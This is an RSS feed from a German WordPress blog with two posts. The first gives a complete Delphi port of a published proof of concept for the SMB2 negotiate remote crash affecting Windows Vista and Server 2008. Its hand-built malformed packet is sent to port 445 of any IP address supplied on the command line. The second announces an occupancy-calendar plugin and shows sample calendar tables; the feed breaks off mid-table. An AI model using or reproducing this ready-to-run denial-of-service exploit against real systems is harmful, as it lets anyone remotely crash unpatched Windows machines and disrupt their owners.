<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wordpress - Belegungsplan - Plugin</title>
	<atom:link href="http://www.gods4u.de/feed" rel="self" type="application/rss+xml" />
	<link>http://www.gods4u.de</link>
	<description>Software - Plugins - Themes - Wordpress</description>
	<lastBuildDate>Tue, 14 Feb 2012 00:27:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>SMB2 BSOD</title>
		<link>http://www.gods4u.de/smb2-bsod</link>
		<comments>http://www.gods4u.de/smb2-bsod#comments</comments>
		<pubDate>Wed, 23 Sep 2009 16:22:25 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=209</guid>
		<description><![CDATA[Im September 2009 hat Laurent Gaffié einen &#8220;proof-of-concept&#8221; Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code: smb2_poc.dpr: program smb2_poc; {$APPTYPE CONSOLE} uses WinSock, windows; var [...]]]></description>
			<content:encoded><![CDATA[<p>Im September 2009 hat <a href="http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html">Laurent Gaffié</a> einen &#8220;proof-of-concept&#8221; Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code:</p>
<p><strong>smb2_poc.dpr:</strong><br />
<code><span class="reserved">program</span> smb2_poc<span class="markup">;</span></p>
<p><span class="directive">{$APPTYPE CONSOLE}</span></p>
<p><span class="reserved">uses</span><br />
WinSock<span class="markup">,</span><br />
windows<span class="markup">;</span></p>
<p><span class="reserved">var</span><br />
WSAData    <span class="markup">:</span> TWSAData<span class="markup">;</span><br />
wVersion   <span class="markup">:</span> <span class="type">WORD</span><span class="markup">;</span><br />
s          <span class="markup">:</span> TSocket<span class="markup">;</span><br />
serverAddr <span class="markup">:</span> TSockAddrIn<span class="markup">;</span><br />
ret        <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
nPort      <span class="markup">:</span> <span class="type">Integer</span> <span class="markup">=</span> <span class="integer">445</span><span class="markup">;</span><br />
buff       <span class="markup">:</span> <span class="reserved">Array</span><span class="bracket">[</span><span class="integer">0</span><span class="markup">.</span><span class="real">.147</span><span class="bracket">]</span> <span class="reserved">of</span> <span class="type">Byte</span> <span class="markup">=</span><br />
<span class="parenthesis">(</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$90</span><span class="markup">,</span> <span class="comment1">// Begin SMB header: Session message<br />
</span> <span class="hex">$ff</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$42</span><span class="markup">,</span> <span class="comment1">// Server Component: SMB<br />
</span> <span class="hex">$72</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span> <span class="comment1">// Negociate Protocol<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$18</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$c8</span><span class="markup">,</span> <span class="comment1">// Operation 0x18 &amp; sub 0xc853<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$26</span><span class="markup">,</span> <span class="comment1">// Process ID High: --&gt; :) normal value should be "$00,$00"<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$fe</span><span class="markup">,</span><br />
<span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$6d</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$50</span><span class="markup">,</span><span class="hex">$43</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$45</span><span class="markup">,</span><span class="hex">$54</span><span class="markup">,</span><br />
<span class="hex">$57</span><span class="markup">,</span><span class="hex">$4f</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$4b</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$50</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$4f</span><span class="markup">,</span><span class="hex">$47</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><br />
<span class="hex">$2e</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><br />
<span class="hex">$02</span><span class="markup">,</span><span class="hex">$57</span><span class="markup">,</span><span class="hex">$69</span><span class="markup">,</span><span class="hex">$6e</span><span class="markup">,</span><span class="hex">$64</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$77</span><span class="markup">,</span><span class="hex">$73</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$66</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$57</span><span class="markup">,</span><br />
<span class="hex">$6f</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$6b</span><span class="markup">,</span><span class="hex">$67</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$75</span><span class="markup">,</span><span class="hex">$70</span><span class="markup">,</span><span class="hex">$73</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$33</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$61</span><span class="markup">,</span><br />
<span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$58</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><br />
<span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$54</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><br />
<span class="hex">$4d</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$42</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><br />
<span class="hex">$30</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="parenthesis">)</span><span class="markup">;</span></p>
<p><span class="reserved">function</span> ErrorStr<span class="parenthesis">(</span>ErrCode<span class="markup">:</span> <span class="type">Integer</span><span class="parenthesis">)</span><span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
<span class="reserved">var</span><br />
s   <span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
Len <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
<span class="reserved">begin</span><br />
Setlength<span class="parenthesis">(</span>s<span class="markup">,</span> <span class="integer">260</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Len <span class="markup">:</span><span class="markup">=</span> Formatmessage<span class="parenthesis">(</span>Format_Message_from_System<span class="markup">,</span> <span class="reserved">nil</span><span class="markup">,</span> ErrCode<span class="markup">,</span> <span class="integer">0</span><span class="markup">,</span> <span class="unknown">@</span>s<span class="bracket">[</span><span class="integer">1</span><span class="bracket">]</span><span class="markup">,</span> length<span class="parenthesis">(</span>s<span class="parenthesis">)</span><span class="markup">,</span> <span class="reserved">nil</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Setlength<span class="parenthesis">(</span>s<span class="markup">,</span> Len<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="else">Result</span> <span class="markup">:</span><span class="markup">=</span> s<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p><span class="reserved">function</span> ExtractFileName<span class="parenthesis">(</span><span class="reserved">const</span> Str<span class="markup">:</span> <span class="reserved">String</span><span class="parenthesis">)</span><span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
<span class="reserved">var</span><br />
tmpStr <span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
i      <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
<span class="reserved">begin</span><br />
tmpStr <span class="markup">:</span><span class="markup">=</span> Str<span class="markup">;</span><br />
i      <span class="markup">:</span><span class="markup">=</span> Pos<span class="parenthesis">(</span><span class="string">'\'</span><span class="markup">,</span> tmpStr<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">while</span> i <span class="markup">&gt;</span> <span class="integer">0</span> <span class="reserved">do</span> <span class="reserved">begin</span><br />
tmpStr <span class="markup">:</span><span class="markup">=</span> Copy<span class="parenthesis">(</span>tmpStr<span class="markup">,</span> i<span class="operator">+</span><span class="integer">1</span><span class="markup">,</span> Length<span class="parenthesis">(</span>tmpStr<span class="parenthesis">)</span> <span class="operator">-</span> i<span class="parenthesis">)</span><span class="markup">;</span><br />
i      <span class="markup">:</span><span class="markup">=</span> Pos<span class="parenthesis">(</span><span class="string">'\'</span><span class="markup">,</span> tmpStr<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="else">Result</span> <span class="markup">:</span><span class="markup">=</span> tmpStr<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p><span class="reserved">begin</span><br />
wVersion <span class="markup">:</span><span class="markup">=</span> MAKEWORD<span class="parenthesis">(</span><span class="integer">2</span><span class="markup">,</span> <span class="integer">2</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ParamCount <span class="markup">&lt;</span> <span class="integer">1</span><span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Usage: '</span> <span class="operator">+</span> ExtractFileName<span class="parenthesis">(</span>ParamStr<span class="parenthesis">(</span><span class="integer">0</span><span class="parenthesis">)</span><span class="parenthesis">)</span> <span class="operator">+</span> <span class="string">' &lt;ip&gt;'</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>ret <span class="markup">:</span><span class="markup">=</span> WSAStartup<span class="parenthesis">(</span>wVersion<span class="markup">,</span> wsaData<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">&lt;</span><span class="markup">&gt;</span> <span class="integer">0</span> <span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span></p>
<p>WriteLn<span class="parenthesis">(</span><span class="string">'WSAStartup failed '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>ret<span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">try</span><br />
s <span class="markup">:</span><span class="markup">=</span> socket<span class="parenthesis">(</span>AF_INET<span class="markup">,</span> SOCK_STREAM<span class="markup">,</span> IPPROTO_TCP<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>s <span class="markup">=</span> INVALID_SOCKET<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Socket failed with error '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>WSAGetLastError<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>serverAddr<span class="markup">.</span>sin_family <span class="markup">:</span><span class="markup">=</span> AF_INET<span class="markup">;</span><br />
serverAddr<span class="markup">.</span>sin_addr<span class="markup">.</span>s_addr <span class="markup">:</span><span class="markup">=</span> inet_addr<span class="parenthesis">(</span><span class="type">PChar</span><span class="parenthesis">(</span>ParamStr<span class="parenthesis">(</span><span class="integer">1</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
serverAddr<span class="markup">.</span>sin_port <span class="markup">:</span><span class="markup">=</span> htons<span class="parenthesis">(</span>nPort<span class="parenthesis">)</span><span class="markup">;</span></p>
<p>ret <span class="markup">:</span><span class="markup">=</span> Winsock<span class="markup">.</span>connect<span class="parenthesis">(</span>s<span class="markup">,</span> serverAddr<span class="markup">,</span> sizeof<span class="parenthesis">(</span>serverAddr<span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">=</span> SOCKET_ERROR<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Connection to server failed.'</span><span class="parenthesis">)</span><span class="markup">;</span><br />
closesocket<span class="parenthesis">(</span>s<span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>send<span class="parenthesis">(</span>s<span class="markup">,</span> buff<span class="markup">,</span> <span class="integer">148</span><span class="markup">,</span> <span class="integer">0</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">finally</span><br />
ret <span class="markup">:</span><span class="markup">=</span> WSACleanup<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">=</span> SOCKET_ERROR<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'WSACleanup failed with error '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>WSAGetLastError<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">.</span></p>
<p></code></p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/smb2-bsod/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP Plugin Belegungsplan</title>
		<link>http://www.gods4u.de/wordpress-plugin-belegungplan-wp-occupancyplan</link>
		<comments>http://www.gods4u.de/wordpress-plugin-belegungplan-wp-occupancyplan#comments</comments>
		<pubDate>Wed, 22 Apr 2009 10:08:30 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[WP - Plugin]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=172</guid>
		<description><![CDATA[WP Plugin Belegungsplan (Occupancy Plan) für WordPress Occupancy Plan ist ein einfaches Plugin für WordPress, das eine Übersicht von z.B. belegten Ferienwohnungen oder Ferienhäuser kalendarisch anzeigt. Viele graphische Einstellungen für Farbe und Formen, sowie das Eintragen der belegten Tage im Kalender können ganz leicht und Benutzerfreundlich vom Admin vorgenommen werden. Des weiteren können &#8211; unabhängig [...]]]></description>
			<content:encoded><![CDATA[<h4>WP Plugin Belegungsplan (Occupancy Plan) für WordPress</h4>
<p>Occupancy Plan ist ein einfaches <a title="plugin" href="http://www.gods4u.de" target="_self">Plugin</a> für <a title="wordpress" href="http://www.gods4u.de" target="_self">WordPress</a>, das eine Übersicht von z.B. belegten Ferienwohnungen oder Ferienhäuser kalendarisch anzeigt.<br />
<a title="wordpress-plugin-occupancyplan-belegungsplan-kalender-wp" rel="attachment wp-att-45" href="http://www.gods4u.de/11-wp-plugin-occupancyplan/wordpress_plugin_occupancyplan/" target="_blank"><img class="size-thumbnail wp-image-45 alignleft" title="wordpress_plugin_occupancyplan_belegungsplan_wp" src="http://www.gods4u.de/wp-content/uploads/2009/04/wordpress_plugin_occupancyplan-150x150.jpg" alt="wordpress-plugin-occupancyplan-belegungsplan-kalender-wp" width="150" height="150" /></a><br />
Viele graphische Einstellungen für Farbe und Formen, sowie das Eintragen der belegten Tage im <a title="Kalender" href="http://www.gods4u.de" target="_self">Kalender</a> können ganz leicht und Benutzerfreundlich vom Admin vorgenommen werden. Des weiteren können &#8211; unabhängig von einander &#8211; mehrere Übersichten im Blog dargestellt werden. Somit lassen sich <a title="Belegungsplan" href="http://www.gods4u.de" target="_self">Belegungspläne</a>, beispielsweise auch für mehrere Objekte wie bei Pensionen üblich, einpflegen.</p>
<h3>Hier geht es zum WP Plugin <span style="text-decoration: underline;"><a title="Download Plugin Occupancyplan" href="http://wordpress.org/extend/plugins/occupancyplan/" target="_blank">Download</a></span></h3>
<p><span style="text-decoration: underline;"><br />
</span></p>
<h4>Geplante Verbesserungen im <a title="plugin" href="http://www.gods4u.de" target="_self">Plugin</a> (Visionen)</h4>
<ul>
<li>Es gibt noch einige kleinere Probleme mit einigen Themes, die ich aber die nächste Zeit beheben werde.</li>
<li>Export der Daten in .csv oder .xls Format zum Einbinden anderer Buchungssysteme</li>
<li>Importfunktionalität zum automatisiertem Datenempfang und Abgleich als Anschluss an ein anderes <a title="buchungssystem" href="http://www.gods4u.de" target="_self">Buchungssystem</a></li>
<li>Vollautomatische Synchronisation mit diversen Belegungs- und Buchungssystemen</li>
<li>Belegungsplanausgabe als PDF</li>
<li>Druckfunktion (definierbare Zeiträume)</li>
<li>Hinterlegung mit Namen bei Belegungszeiträumen</li>
<li>Einarbeitung einer Rechtestruktur</li>
<li>Unterscheidung zwischen vorbehaltlich Reserviert und verbindlich Gebucht</li>
</ul>
<p>Diese geplanten Erweiterungen und Verbesserungen wollen wir zukünftig gerne einarbeiten. Welche Funktionalitäten aber genau eingearbeitet werden und wann dies sein wird hängt unter anderem auch von der Nachfrage nach dem Plugin ab. Habt Ihr Anregungen oder Verbesserungsvorschläge? Schreibt uns gerne Eure Ideen und Wünsche.</p>
<p><a title="Fragen, Anregungen und Kritik zum WP Plugin Occupancyplan" href="http://www.gods4u.de/wp-plugin-occupancyplan/" target="_self">Fragen, Anregungen und Kritik könnt Ihr uns gerne hier mitteilen.</a></p>
<h4>Beispielhafte Darstellung des 1. Belegungsplans</h4>
      <a name="occuplan1"></a>
  <table class="occupancy_aussen" style="width: 350px; border-spacing: 5px; border-collapse: separate;">
    <tr>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">Mai&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FF9C9C;" title="belegt">01</td>
            <td style="background-color: #FF9C9C;" title="belegt">02</td>
            <td style="background-color: #e7ecf0;">03</td>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #FF9C9C;" title="belegt">05</td>
            <td style="background-color: #FF9C9C;" title="belegt">06</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">07</td>
            <td style="background-color: #FF9C9C" title="belegt">08</td>
            <td style="background-color: #FF9C9C" title="belegt">09</td>
            <td style="background-color: #e7ecf0;">10</td>
            <td style="background-color: #e7ecf0;">11</td>
            <td style="background-color: #FF9C9C" title="belegt">12</td>
            <td style="background-color: #FF9C9C" title="belegt">13</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">14</td>
            <td style="background-color: #e7ecf0;">15</td>
            <td style="background-color: #e7ecf0;">16</td>
            <td style="background-color: #FF9C9C; color: #ff0000;" title="belegt">17</td>
            <td style="background-color: #FF9C9C" title="belegt">18</td>
            <td style="background-color: #e7ecf0;">19</td>
            <td style="background-color: #e7ecf0;">20</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">21</td>
            <td style="background-color: #FF9C9C" title="belegt">22</td>
            <td style="background-color: #FF9C9C" title="belegt">23</td>
            <td style="background-color: #FF9C9C" title="belegt">24</td>
            <td style="background-color: #FF9C9C" title="belegt">25</td>
            <td style="background-color: #FF9C9C" title="belegt">26</td>
            <td style="background-color: #FF9C9C" title="belegt">27</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">28</td>
            <td style="background-color: #e7ecf0;">29</td>
            <td style="background-color: #e7ecf0;">30</td>
            <td style="background-color: #e7ecf0;">31</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">Juni&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #e7ecf0;">01</td>
            <td style="background-color: #e7ecf0;">02</td>
            <td style="background-color: #FF9C9C;" title="belegt">03</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #e7ecf0;">05</td>
            <td style="background-color: #e7ecf0;">06</td>
            <td style="background-color: #e7ecf0;">07</td>
            <td style="background-color: #e7ecf0;">08</td>
            <td style="background-color: #FF9C9C" title="belegt">09</td>
            <td style="background-color: #e7ecf0;">10</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">11</td>
            <td style="background-color: #e7ecf0;">12</td>
            <td style="background-color: #e7ecf0;">13</td>
            <td style="background-color: #e7ecf0;">14</td>
            <td style="background-color: #FF9C9C" title="belegt">15</td>
            <td style="background-color: #e7ecf0;">16</td>
            <td style="background-color: #e7ecf0;">17</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">18</td>
            <td style="background-color: #e7ecf0;">19</td>
            <td style="background-color: #e7ecf0;">20</td>
            <td style="background-color: #FF9C9C" title="belegt">21</td>
            <td style="background-color: #e7ecf0;">22</td>
            <td style="background-color: #e7ecf0;">23</td>
            <td style="background-color: #e7ecf0;">24</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">25</td>
            <td style="background-color: #e7ecf0;">26</td>
            <td style="background-color: #FF9C9C" title="belegt">27</td>
            <td style="background-color: #e7ecf0;">28</td>
            <td style="background-color: #e7ecf0;">29</td>
            <td style="background-color: #e7ecf0;">30</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td>
        <table class="occupancy_kalender" style="border-color: #b7ccdf; background-color: #b7ccdf; color: #4B5D67; width: 100%;">
          <tr>
           <th colspan="7" style="background-color: #b7ccdf; color: #4B5D67; text-align: left;">Juli&nbsp;2012</th>
          </tr>
          <tr>
            <td style="background-color: #F7Fcf0;">Mo</td>
            <td style="background-color: #F7Fcf0;">Di</td>
            <td style="background-color: #F7Fcf0;">Mi</td>
            <td style="background-color: #F7Fcf0;">Do</td>
            <td style="background-color: #F7Fcf0;">Fr</td>
            <td style="background-color: #F7Fcf0;">Sa</td>
            <td style="background-color: #F7Fcf0; color: #ff0000;">So</td>
          </tr>
          <tr>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #FFFFFF;">&nbsp;</td>
            <td style="background-color: #e7ecf0;">01</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">02</td>
            <td style="background-color: #e7ecf0;">03</td>
            <td style="background-color: #e7ecf0;">04</td>
            <td style="background-color: #e7ecf0;">05</td>
            <td style="background-color: #e7ecf0;">06</td>
            <td style="background-color: #e7ecf0;">07</td>
            <td style="background-color: #e7ecf0;">08</td>
          </tr>
          <tr>
            <td style="background-color: #e7ecf0;">09</td>
            <td style="background-color: #e7ecf0;">10</td>
